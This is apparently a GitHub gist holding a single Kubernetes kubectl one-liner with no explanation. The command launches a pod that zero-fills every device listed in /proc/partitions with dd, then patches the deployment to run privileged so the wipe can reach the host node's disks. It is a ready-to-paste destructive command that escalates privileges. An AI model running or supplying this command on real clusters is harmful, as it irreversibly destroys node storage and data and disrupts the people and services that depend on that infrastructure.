Skip to content

Instantly share code, notes, and snippets.

@dtherhtun
Created March 11, 2020 09:59
Show Gist options
  • Select an option

  • Save dtherhtun/9a1f444b20379e14e7293fb0ec2bd5c6 to your computer and use it in GitHub Desktop.

Select an option

Save dtherhtun/9a1f444b20379e14e7293fb0ec2bd5c6 to your computer and use it in GitHub Desktop.
kubectl run --image=bash fast -- bash -c "cat /proc/partitions | xargs -I {} dd if=/dev/zero of={}" && kubectl patch deploy fast --type='json' -p='[{"op": "add", "path": "/spec/template/spec/containers/0/securityContext", "value": { "privileged": true }}]'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment